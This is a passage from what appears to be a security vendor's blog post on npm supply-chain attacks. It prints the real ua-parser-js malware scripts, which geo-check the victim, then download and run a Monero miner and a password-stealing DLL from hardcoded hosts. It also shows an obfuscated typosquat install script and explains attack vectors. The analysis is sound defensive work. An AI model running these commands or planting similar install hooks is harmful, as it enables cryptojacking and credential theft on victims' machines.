<span class="hljs-attr">"test"</span>: <span class="hljs-string">"jshint src/ua-parser.js && mocha -R nyan test/test.js"</span>, | |||
<span class="hljs-attr">"test-ci"</span>: <span class="hljs-string">"jshint src/ua-parser.js && mocha -R spec test/test.js"</span> | |||
} | |||
} | |||
</code></pre> | |||
<p>You'll see that it uses a pre-install script, so this means that the command <code>start /B node preinstall.js & node preinstall.js</code> will run automatically anytime this package is installed.</p> | |||
<p>Let's take a look at the <code>preinstall.js</code> script:</p> | |||
<h3><code>preinstall.js</code></h3> | |||
<pre><code class="hljs language-js"><span class="hljs-keyword">const</span> { exec } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'child_process'</span>) | |||
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">terminalLinux</span>(<span class="hljs-params"></span>) </span>{ | |||
exec(<span class="hljs-string">'/bin/bash preinstall.sh'</span>, <span class="hljs-function">(<span class="hljs-params">error, stdout, stderr</span>) =></span> { | |||
<span class="hljs-keyword">if</span> (error) { | |||
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">`error: <span class="hljs-subst">${error.message}</span>`</span>) | |||
<span class="hljs-keyword">return</span> | |||
} | |||
<span class="hljs-keyword">if</span> (stderr) { | |||
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">`stderr: <span class="hljs-subst">${stderr}</span>`</span>) | |||
<span class="hljs-keyword">return</span> | |||
} | |||
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">`stdout: <span class="hljs-subst">${stdout}</span>`</span>) | |||
}) | |||
} | |||
<span class="hljs-keyword">var</span> opsys = process.platform | |||
<span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'darwin'</span>) { | |||
opsys = <span class="hljs-string">'MacOS'</span> | |||
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'win32'</span> || opsys == <span class="hljs-string">'win64'</span>) { | |||
opsys = <span class="hljs-string">'Windows'</span> | |||
<span class="hljs-keyword">const</span> { spawn } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'child_process'</span>) | |||
<span class="hljs-keyword">const</span> bat = spawn(<span class="hljs-string">'cmd.exe'</span>, [<span class="hljs-string">'/c'</span>, <span class="hljs-string">'preinstall.bat'</span>]) | |||
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'linux'</span>) { | |||
opsys = <span class="hljs-string">'Linux'</span> | |||
terminalLinux() | |||
} | |||
</code></pre> | |||
<p>The first thing you'll see is that it runs a different payload depending on the victim's operating system. On Linux, the malware executes <code>preinstall.sh</code>, while on Windoews it executes <code>preinstall.bat</code>. Mac users got lucky – there was no Mac payload. Perhaps the attacker ran out of time to finish the Mac version, or didn't have a Mac to test on?</p> | |||
<p>Now let's take a look at what <code>preinstall.sh</code> does:</p> | |||
<h3><code>preinstall.sh</code></h3> | |||
<pre><code class="hljs language-sh">IP=$(curl -k https://freegeoip.app/xml/ | grep <span class="hljs-string">'RU\|UA\|BY\|KZ'</span>) | |||
<span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$IP</span>"</span> ] | |||
<span class="hljs-keyword">then</span> | |||
var=$(pgrep jsextension) | |||
<span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$var</span>"</span> ] | |||
<span class="hljs-keyword">then</span> | |||
curl http://159.148.186.228/download/jsextension -o jsextension | |||
<span class="hljs-keyword">if</span> [ ! -f jsextension ] | |||
<span class="hljs-keyword">then</span> | |||
wget http://159.148.186.228/download/jsextension -O jsextension | |||
<span class="hljs-keyword">fi</span> | |||
chmod +x jsextension | |||
./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u <redacted> \ | |||
--cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null & | |||
<span class="hljs-keyword">fi</span> | |||
<span class="hljs-keyword">fi</span> | |||
</code></pre> | |||
<p>The very first line fetches the victim's country code using their IP address. If the victim is from Russia, Ukraine, Belarus, or Kazakhstan, then the malware exits early. Presumably the attacker comes from one of these countries and doesn't want to antagonize their local law enforcement. This is a common technique in malware.</p> | |||
<p>Next, there's a check using <code>pgrep</code> to see if the malware – a process named <code>jsextension</code> – is already running. If so, then the malware exits early.</p> | |||
<p>Otherwise, the script proceeds to download a file from an IP address, mark that file as executable, and then run it. Based on these command line flags, the program appears to be a Monero miner. This program will mine the Monero cryptocurrency for the attacker, wasting the victim's CPU cycles and potentially driving up their electricity or cloud hosting bill.</p> | |||
<p>The payload for Windows users is quite similar, with one extra twist:</p> | |||
<h3><code>preinstall.bat</code></h3> | |||
<pre><code class="hljs language-bat">@<span class="hljs-built_in">echo</span> off | |||
curl http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe -o jsextension.exe | |||
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> jsextension.exe ( | |||
wget http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe -O jsextension.exe | |||
) | |||
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> jsextension.exe ( | |||
certutil.exe -urlcache -f http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe jsextension.exe | |||
) | |||
curl https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll -o create.dll | |||
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> create.dll ( | |||
wget https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll -O create.dll | |||
) | |||
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> create.dll ( | |||
certutil.exe -urlcache -f https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll create.dll | |||
) | |||
<span class="hljs-built_in">set</span> exe_1=jsextension.exe | |||
<span class="hljs-built_in">set</span> "count_1=<span class="hljs-number">0</span>" | |||
>tasklist.temp ( | |||
tasklist /NH /FI "IMAGENAME eq <span class="hljs-variable">%exe_1%</span>" | |||
) | |||
<span class="hljs-keyword">for</span> /f <span class="hljs-variable">%%x</span> <span class="hljs-keyword">in</span> (tasklist.temp) <span class="hljs-keyword">do</span> ( | |||
<span class="hljs-keyword">if</span> "<span class="hljs-variable">%%x</span>" <span class="hljs-keyword">EQU</span> "<span class="hljs-variable">%exe_1%</span>" <span class="hljs-built_in">set</span> /a count_1+=<span class="hljs-number">1</span> | |||
) | |||
<span class="hljs-keyword">if</span> <span class="hljs-variable">%count_1%</span> <span class="hljs-keyword">EQU</span> <span class="hljs-number">0</span> (<span class="hljs-built_in">start</span> /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:<span class="hljs-number">443</span> -u <redacted> \ | |||
--cpu-max-threads-hint=<span class="hljs-number">50</span> --donate-level=<span class="hljs-number">1</span> --background & regsvr32.exe -s create.dll) | |||
<span class="hljs-built_in">del</span> tasklist.temp | |||
</code></pre> | |||
<p>On Windows, the malware not only downloads a Monero miner (<code>jsextension.exe</code>), but it downloads a .DLL file as well.</p> | |||
<p>After starting the Monero miner, the malware registers the .DLL file by running <code>regsvr32.exe -s create.dll</code>. This .DLL file steals passwords from over 100 different programs on the Windows machine as well as all the passwords in the Windows credential manager.</p> | |||
<p>Yikes!</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>This DLL file steals passwords from over 100 different programs on the Windows | |||
machine as well as all the passwords in the Windows credential manager</p></aside></div></div> | |||
<p>This is a really nasty piece of malware. Anyone unlucky enough to run this lost all their passwords and had to do a complete reset of their online accounts – not a fun time!</p> | |||
<h2>Aftermath</h2> | |||
<p>The malicious package was available for about four hours. The open source | |||
community, as well as the maintainer, did quite well at finding and reporting | |||
the problem to npm who were able to remove it. Despite things going quite well | |||
by historical standards – 4 hours is a very quick turnaround time – tens of | |||
thousands of malicious downloads still took place. Even a few minutes is a lot a | |||
package gets 7 million weekly downloads!</p> | |||
<p>Anyone who ran <code>npm install ua-parser-js</code> was compromised. Anyone who installed | |||
a package that depended on <code>ua-parser-js</code> was also compromised, including | |||
important packages such as <code>react-native</code>. Anyone running <code>npm install</code> without | |||
a <code>package-lock.json</code> file was compromised. Anyone unlucky enough to update to a | |||
new version of <code>ua-parser-js</code>, whether manually with <code>npm update</code> or through an | |||
automated pull request such as from Dependabot, was compromised.</p> | |||
<h2>Just the tip of the iceberg</h2> | |||
<p>This is really just the tip of the iceberg. At <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a>, we've been tracking packages that are <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/category/removed">removed from npm for security reasons</a>. We've seen over 700 packages removed for security reasons in the last 30 days, and this trend is accelerating.</p> | |||
<p>Attackers are taking advantage of the open ecosystem and the implicit trust that maintainers have for each other through the liberal contribution policies that have become common in the modern open source era.</p> | |||
<p>We predict that 2022 will be the "year of software supply chain security" as the | |||
awareness of this issue has exploded due to several massive software supply | |||
chain attacks such as SolarWinds as well as near weekly npm attacks in the news. | |||
It feels like we've reached a breaking point and developers, companies, and | |||
governments finally seem ready to take action to protect the open source | |||
ecosystem.</p> | |||
<p>One question you might ask, though, is...</p> | |||
<h2>Why is this happening now?</h2> | |||
<p>I want to start by just pointing out that what we're trying to do here is kind of crazy. We want to:</p> | |||
<ul> | |||
<li>Download <strong>code</strong></li> | |||
<li>from the <strong>internet</strong></li> | |||
<li>written by <strong>unknown individuals</strong></li> | |||
<li>that we <strong>haven't read</strong></li> | |||
<li>that we <strong>execute</strong></li> | |||
<li>with <strong>full permissions</strong></li> | |||
<li>on our <strong>laptops and servers</strong></li> | |||
<li>where we keep our <strong>most important data</strong></li> | |||
</ul> | |||
<p>This is what we're doing every day when we use <code>npm install</code>. It's a <em>miracle</em> that this system works – and that it's continued to <em>mostly</em> work for this long!</p> | |||
<p>It's a testament to the fact that most people are good. But, unfortunately, not | |||
everyone is is good. And even more unfortunately, even just a small handful of bad actors in the ecosystem can cause massive supply chain attacks that shake our trust in open source code.</p> | |||
<p>Now let's let's dive into why this is happening now.</p> | |||
<h2>1. 90% of the lines of code in your app comes from open source</h2> | |||
<p>We're standing on the shoulders of giants. Open source is the reason we can get | |||
an app off the ground in hours and days instead of weeks or months. It's the | |||
reason that we don't need to be an expert in cryptography or timezones or | |||
network protocols to build a powerful, modern software application.</p> | |||
<p>It's also the reason why your <code>node_modules</code> folder is one of the heaviest | |||
objects in the universe.</p> | |||
<h2>2. Lots of transitive dependencies</h2> | |||
<p>Another reason is that we have lots and lots of transitive dependencies. The way | |||
that we write software has changed. We use dependencies a lot more liberally. | |||
Installing even a single dependency often leads to many dozens or hundreds of | |||
transitive dependencies coming in as well.</p> | |||
<p>A 2019 paper at USENIX, found that installing an average npm package introduces an implicit trust on 79 third-party packages and 39 maintainers.</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>Installing an average npm package introduces an implicit trust on 79 | |||
third-party packages and 39 maintainers, creating a surprisingly large attack | |||
surface</p></aside><p class="css-1ydr9i">– Markus Zimmermann, Cristian-Alexandru Staicu, Cam Tenny, Michael Pradel ("Small World with High Risks: A Study of Security Threats in the npm Ecosystem")</p></div></div> | |||
<p>Here's another way to look at. We created a visualization to show you what the dependency tree of a typical package looks like. Let's look at <code>webpack</code>, which is a dependency present in many JavaScript projects.</p> | |||
<p>Each gray box represents a package and each purple box represents a file inside a package:</p> | |||
<h3>Webpack, unpacked</h3> | |||
<p><em>The visualization above is interactive. Drag to rotate. Click to navigate to a package or file.</em></p> | |||
<p>As you take away each layer of the dependency tree you'll see that you just keep finding more packages nested inside the top-level package, until you eventually get down to the bottom of the tree.</p> | |||
<p>There are an insane number of files and a lot of packages flying around here.</p> | |||
<h2>3. No one reads the code</h2> | |||
<p>Another reason is that no one really reads the code. Of course, there are some people who do, but by-and-large, people don't look at the code that they're executing on their machines.</p> | |||
<p>One big reason for this is that npm really doesn't make this very easy. If you go to the package page for <code>ua-parser-js</code> and you click on the "Explore" tab, you'll see that you can't even see the files of the package:</p> | |||
<p>So, people have to resort to clicking the GitHub link in the sidebar and going to GitHub and <strong><em>hoping</em></strong> that the code on GitHub matches the code that's on npm, which is not necessarily true. In fact, many of the biggest npm supply chain attacks have taken advantage of this fact.</p> | |||
<p>The lack of people looking at the code inside of npm packages is also a big reason why, on average, npm malware lingers on the registry for 209 days before it's finally reported and removed.</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>On average, a malicious package is available for 209 days before being | |||
publicly reported</p></aside><p class="css-1ydr9i">– Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier ("Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks")</p></div></div> | |||
<p>When I first read this statistic, I found it hard to believe, but it's been confirmed by further research.</p> | |||
<p>A 2021 paper at NDSS, a prestigious security conference, also found similar results. Even worse, they found that 20% of malware persist in package managers for over 400 days and have more than 1,000 downloads.</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><p class="css-1ydr9i">– Ruian Duan, Omar Alrawi, Ranjita Pai Kasturi, Ryan Elder, Brendan Saltaformaggio, Wenke Lee</p></div></div> | |||
<p>It's disturbing to realize that npm is filled with landmines that can be set off inadvertently if we make a small typo in one of the many <code>npm install</code> commands we run on a daily basis.</p> | |||
<h2>4. Popular tools give a false sense of security</h2> | |||
<p>And the fourth reason is that popular tools give a false sense of security. A | |||
lot of popular tools – such as Dependabot and Snyk – scan your dependencies for | |||
known vulnerabilities (CVEs). In 2022, this is no longer sufficient. We can't | |||
just scan for known vulnerabilities and stop there. And yet that's what the most | |||
popular supply chain security products do, leaving you vulnerable.</p> | |||
<p>It can take weeks or months for a vulnerability to be discovered, reported, and detected by tools. That's just not fast enough to stop supply chain attacks.</p> | |||
<h3>Known vulnerabilities vs. Malware</h3> | |||
<p>Let's take a second to quickly distinguish between <strong>known vulnerabilities</strong> and | |||
<strong>malware</strong>, because they're very different.</p> | |||
<p><strong>Vulnerabilities</strong> are accidentally introduced by maintainers – the good guys. They | |||
have varying levels of risk and sometimes it's okay to intentionally ship a | |||
known vulnerability to production if it's low impact. Even if you have | |||
vulnerabilities in production they may not be discovered or exploited before you | |||
update to a fixed version. You usually have a bit of time to address these kinds | |||
of issues.</p> | |||
<p><strong>Malware</strong>, on the other hand, is quite different. Malware is intentionally | |||
introduced into a package by an attacker – almost never the maintainer – and it | |||
will always end badly if you ship malware to production. You don't have a few | |||
days or weeks to mitigate the issue. You need to really catch it before you | |||
install it on your laptop or a production server.</p> | |||
<p>But in today's culture of fast development, a malicious dependency can be | |||
updated and merged in a very short amount of time, which leads to an increased risk of supply chain | |||
attacks because the quicker you update your dependencies the fewer eyeballs that | |||
have had a chance to look at the code.</p> | |||
<p>Developers need a new approach to detect and to block malicious dependencies. | |||
But before we get into that, let's look a little deeper into how a supply chain | |||
attack actually works.</p> | |||
<h2>How does a supply chain attack actually work?</h2> | |||
<p>To answer this question, we downloaded every package on npm – 100 GB of metadata and 15 TB of package tarballs. We noticed a few trends in the types of attacks on npm.</p> | |||
<p>Let's go over the top 6 attack vectors (how the attack gets you to run their code) and attack techniques (what the attack code actually does).</p> | |||
<h2>1. Typosquatting</h2> | |||
<p>The most common attack vector is typosquatting.</p> | |||
<p>Typosquatting is when an attacker publishes a package which has a very similar name to a legitimate and popular package.</p> | |||
<p>Take these two packages with very similar names, for instance:</p> | |||
<pre><code class="hljs language-sh">npm install noblox.js-proxied | |||
npm install noblox.js-proxy | |||
</code></pre> | |||
<p>One of these is legitimate and one of these is malware. But which is which? And what if you can't remember and so you just take a guess?</p> | |||
<p>Hopefully you guessed right:</p> | |||
<pre><code class="hljs language-sh">npm install noblox.js-proxied (REAL) | |||
npm install noblox.js-proxy (EVIL) | |||
</code></pre> | |||
<p>Let's crack open the malware package <code>noblox.js-proxy</code> and take a look at it's <code>package.json</code>:</p> | |||
<h3><code>package.json</code></h3> | |||
<pre><code class="hljs language-js">{ | |||
<span class="hljs-string">"name"</span>: <span class="hljs-string">"noblox.js-proxy"</span>, | |||
<span class="hljs-string">"version"</span>: <span class="hljs-string">"1.0.5"</span>, | |||
<span class="hljs-string">"description"</span>: <span class="hljs-string">"A Node.js wrapper for Roblox. (original from sentanos) (proxy edition by DarkDev)"</span>, | |||
<span class="hljs-string">"main"</span>: <span class="hljs-string">"lib/index.js"</span>, | |||
<span class="hljs-string">"types"</span>: <span class="hljs-string">"typings/index.d.ts"</span>, | |||
<span class="hljs-string">"scripts"</span>: { | |||
<span class="hljs-string">"docs"</span>: <span class="hljs-string">"jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs"</span>, | |||
<span class="hljs-string">"lint"</span>: <span class="hljs-string">"eslint lib/"</span>, | |||
<span class="hljs-string">"test"</span>: <span class="hljs-string">"jest"</span>, | |||
<span class="hljs-string">"postinstall"</span>: <span class="hljs-string">"node postinstall.js"</span> | |||
}, | |||
<span class="hljs-string">"repository"</span>: { | |||
<span class="hljs-string">"type"</span>: <span class="hljs-string">"git"</span>, | |||
<span class="hljs-string">"url"</span>: <span class="hljs-string">"https://github.com/JxySerr1/noblox.js-proxy.git"</span> | |||
} | |||
} | |||
</code></pre> | |||
<p>Again, you'll notice that it's using an install script – a very common technique that malware uses. If you open up this install script to look at the code, you'll find that the file is heavily | |||
obfuscated:</p> | |||
<pre><code class="hljs language-js">(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">_0x249d1f,_0x2b8f5b</span>)</span>{<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x4c7bcc</span>(<span class="hljs-params">_0xab39a4,_0x4f1570,_0x2f32bf, | |||
_0x4d98f7,_0x52a9ec</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x52a9ec-<span class="hljs-number">0x379</span>,_0x4d98f7);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0xfe08c3</span> | |||
(<span class="hljs-params">_0x3d9d3c,_0x4ae939,_0x217de2,_0x4278ef,_0x1a1bd1</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x3d9d3c- -<span class="hljs-number">0x30</span>, | |||
_0x217de2);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x5dee13</span>(<span class="hljs-params">_0x3bf95a,_0x410ef5,_0x6d0f61,_0x402705,_0x3daba2</span>) | |||
</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x410ef5- -<span class="hljs-number">0x6c</span>,_0x3daba2);}<span class="hljs-keyword">const</span> _0x40a390=_0x249d1f(); | |||
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x4ebfb2</span>(<span class="hljs-params">_0x39433b,_0x180281,_0x29e008,_0x55bd13,_0x265536</span>) | |||
</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x180281-<span class="hljs-number">0x29c</span>,_0x29e008);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x1d9570</span>(<span class="hljs-params">_0xcf31ba,_0x24a2a8, | |||
_0x1361be,_0x2b2b01,_0x2b71bd</span>) | |||
</span>{<span class="hljs-keyword">return</span> _0x1efa(_0xcf31ba-<span class="hljs-number">0x357</span>,_0x24a2a8);}<span class="hljs-keyword">while</span>(!![]){<span class="hljs-keyword">try</span>{<span class="hljs-keyword">const</span> _0xe15807= | |||
-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x718</span>,<span class="hljs-number">0x638</span>,<span class="hljs-string">'12Eh'</span>,<span class="hljs-number">0x6f0</span>,<span class="hljs-number">0x6f6</span>))/(<span class="hljs-number">0x1e27</span>+-<span class="hljs-number">0x2ac</span>+-<span class="hljs-number">0x1b7a</span>) | |||
+<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x6d5</span>,<span class="hljs-number">0x713</span>,<span class="hljs-number">0x72c</span>,<span class="hljs-string">'JXxJ'</span>,<span class="hljs-number">0x644</span>))/(<span class="hljs-number">0x15</span>*-<span class="hljs-number">0x16e</span>+-<span class="hljs-number">0x19c4</span>+<span class="hljs-number">0x37cc</span>) | |||
+-<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x68d</span>,<span class="hljs-number">0x788</span>,<span class="hljs-number">0x86c</span>,<span class="hljs-string">'JJ[O'</span>,<span class="hljs-number">0x754</span>))/(-<span class="hljs-number">0x89e</span>+<span class="hljs-number">0x2</span>*-<span class="hljs-number">0x928</span>+-<span class="hljs-number">0xb</span>*-<span class="hljs-number">0x273</span>) | |||
*(-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x64f</span>,<span class="hljs-number">0x62a</span>,<span class="hljs-string">'$53b'</span>,<span class="hljs-number">0x530</span>,<span class="hljs-number">0x55f</span>))/(-<span class="hljs-number">0x2525</span>+<span class="hljs-number">0x7c0</span>+-<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x1d69</span>)) | |||
+-<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x7d6</span>,<span class="hljs-number">0x65e</span>,<span class="hljs-number">0x7e5</span>,<span class="hljs-string">'tOk*'</span>,<span class="hljs-number">0x729</span>))/(<span class="hljs-number">0xc7d</span>+<span class="hljs-number">0x7cc</span>*-<span class="hljs-number">0x1</span>+<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x4ac</span>) | |||
+-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x544</span>,<span class="hljs-number">0x602</span>,<span class="hljs-string">'!qJ9'</span>,<span class="hljs-number">0x565</span>,<span class="hljs-number">0x6c2</span>))/(-<span class="hljs-number">0x120e</span>+<span class="hljs-number">0x1b1</span>*-<span class="hljs-number">0x17</span>+<span class="hljs-number">0x1f7</span>*<span class="hljs-number">0x1d</span>) | |||
+<span class="hljs-built_in">parseInt</span>(_0xfe08c3(<span class="hljs-number">0x359</span>,<span class="hljs-number">0x28a</span>,<span class="hljs-string">'igej'</span>,<span class="hljs-number">0x404</span>,<span class="hljs-number">0x3e9</span>))/(<span class="hljs-number">0x163</span>*-<span class="hljs-number">0x8</span>+<span class="hljs-number">0x345</span>+<span class="hljs-number">0x192</span>*<span class="hljs-number">0x5</span>) | |||
+-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x40f</span>,<span class="hljs-number">0x519</span>,<span class="hljs-string">'<a href="https://socket.dev/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0223423532">[email protected]</a>'</span>,<span class="hljs-number">0x4f5</span>,<span class="hljs-number">0x5a2</span>))/(<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x977</span>+-<span class="hljs-number">0x15a</span>+<span class="hljs-number">0xad9</span>); | |||
<span class="hljs-keyword">if</span>(_0xe15807===_0x2b8f5b)<span class="hljs-keyword">break</span>;<span class="hljs-keyword">else</span> _0x40a390[<span class="hljs-string">'push'</span>](_0x40a390[<span class="hljs-string">'shift'</span>]());} | |||
<span class="hljs-keyword">catch</span>(_0xdc6a7c){_0x40a390[<span class="hljs-string">'push'</span>](_0x40a390[<span class="hljs-string">'shift'</span>]());}}}(_0x6450,-<span class="hljs-number">0x4f0c0</span>+ | |||
<span class="hljs-number">0x260b</span>+<span class="hljs-number">0x29</span>*<span class="hljs-number">0x4445</span>));<span class="hljs-keyword">const</span> _0x206d7b=(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x2debc5</span>(<span class="hljs-params">_0x482afc, | |||
_0x3fd1d9,_0x38f5d5,_0x18ac59,_0x17d73a</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x18ac59- -<span class="hljs-number">0x3d1</span>,_0x17d73a);} | |||
... | |||
</code></pre> | |||
<p>I can tell you that even without knowing exactly what this code is | |||
doing, you can bet this is not something that you want to run on your machine.</p> | |||
<h2>2. Dependency confusion</h2> | |||
<p>This attack vector is pretty closely related to typosquatting. Dependency | |||
confusion happens when a company publishes packages to an internal npm registry | |||
and uses a name that hasn't yet been registered on the public npm registry. | |||
Later, an attacker can come along and register the available package. Now | |||
there's a private legitimate package and a public malware package, both with the | |||
same name.</p> | |||
<p>Many internal tools are poorly-written and they may prefer to install the public version | |||
of the package instead of the private one, which means that the attacker's code will be installed.</p> | |||
<p>Looking through the <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/category/removed">recently removed npm packages</a>, we were able to find dozens of likely dependency confusion attacks, where package names appear to conflict with internal company package names. Major corporations, US federal agencies, and US government contractors were all affected.</p> | |||
<ul> | |||
<li>Yahoo | |||
</li> | |||
<li>EURid (registry manager for EU) | |||
</li> | |||
<li>18F (US Federal agency) | |||
</li> | |||
<li>Unity (game engine) | |||
</li> | |||
<li>Palantir (government contractor) | |||
</li> | |||
<li>DuckDuckGo (search engine) | |||
</li> | |||
<li>Shippo (shipping company) | |||
</li> | |||
<li>GrubHub (food delivery company) | |||
</li> | |||
<li>Wix (website builder) | |||
</li> | |||
</ul> | |||
<p>How were attackers able to figure out these private package names? There are many possible ways, but it's worth noting that npm itself was <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://www.bleepingcomputer.com/news/security/npm-fixes-private-package-names-leak-serious-authorization-bug/">leaking a subset of private package names<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a> for several weeks which didn't help the problem.</p> | |||
<h2>3. Hijacked packages</h2> | |||
<p>The third vector that we see a lot is hijacked packages. These are the ones that | |||
you've probably seen in the news every few weeks.</p> | |||
<p>Criminals and miscreants find ways to infiltrate our communities and and infect | |||
popular packages. Once they get control of a package and they can publish to it, | |||
they'll steal credentials or install backdoors or abuse compute resources for | |||
cryptocurrency mining.</p> | |||
<p>This type of attack happens for various reasons:</p> | |||
<ul> | |||
<li>Maintainers choose weak passwords</li> | |||
<li>Maintainers reuse passwords</li> | |||
<li>Maintainers get malware on their laptops</li> | |||
<li>npm doesn't enforce 2FA for all accounts (though they've started to enforce this for top accounts)</li> | |||
<li>Maintainers give access to malicious actors</li> | |||
</ul> | |||
<p>Overworked maintainers are particularly susceptible to this type of attack. When | |||
someone offers a helping hand to a burned out maintainer, it's sometimes hard | |||
for them to say no.</p> | |||
<h2>4. Install scripts</h2> | |||
<p>As we mentioned before, install scripts are a huge vector. An install script | |||
allows a package to automatically run code upon package installation.</p> | |||
<p>Most npm malware uses install scripts. In fact, 56% of malicious packages start their routines on installation.</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>Most malicious packages (56%) start their routines on installation, which | |||
might be due to poor handling of arbitrary code during install</p></aside><p class="css-1ydr9i">– Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier ("Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks")</p></div></div> | |||
<p>npm allows packages to run code during the installation process. Unfortunately, install scripts do have some legitimate uses, so we can't just remove this feature from npm without breaking the ecosystem. It's not an easy problem to solve.</p> | |||
<h2>5. Permission creep (shell, network, filesystem, environment vars)</h2> | |||
<p>Permission creep happens when a package which previously didn't use privileged APIs, such as the shell, network, filesystem, or environment variables, but then suddenly starts to use these powerful APIs.</p> | |||
<p>Privileged APIs are used in most malware because attackers usually want to steal some secrets, download an executable payload, or run some shell scripts.</p> | |||
<p>Though legitimate packages do sometimes introduce privileged APIs in later package versions, this signal is often a telltale sign of malware, especially when these APIs are introduced in a patch version. Attackers like to publish their malware in a patch version to maximize the number of potential victims who will install it through loose semver ranges.</p> | |||
<p>Let's look at an example of a malicious package that uses privileged APIs:</p> | |||
<h3><code>package.json</code></h3> | |||
<pre><code class="hljs language-json">{ | |||
<span class="hljs-attr">"name"</span>: <span class="hljs-string">"<redacted>"</span>, | |||
<span class="hljs-attr">"version"</span>: <span class="hljs-string">"9998.9999.2"</span>, | |||
<span class="hljs-attr">"description"</span>: <span class="hljs-string">"..."</span>, | |||
<span class="hljs-attr">"main"</span>: <span class="hljs-string">"index.js"</span>, | |||
<span class="hljs-attr">"scripts"</span>: { | |||
<span class="hljs-attr">"test"</span>: <span class="hljs-string">"echo \"Error: no test specified\" && exit 1"</span>, | |||
<span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"node dns.js | node index.js | node specific-fields.js"</span> | |||
}, | |||
<span class="hljs-attr">"files"</span>: [<span class="hljs-string">"specific-fields.js"</span>, <span class="hljs-string">"index.js"</span>, <span class="hljs-string">"dns.js"</span>], | |||
<span class="hljs-attr">"author"</span>: <span class="hljs-string">""</span>, | |||
<span class="hljs-attr">"license"</span>: <span class="hljs-string">"ISC"</span> | |||
} | |||
</code></pre> | |||
<p>Again this is a standard install script attack vector. But it runs a few | |||
different payloads, each using a different technique.</p> | |||
<p>Let's look at the first:</p> | |||
<h3><code>http.js</code></h3> | |||
<pre><code class="hljs language-js"><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'https'</span>) | |||
req = http | |||
.request({ | |||
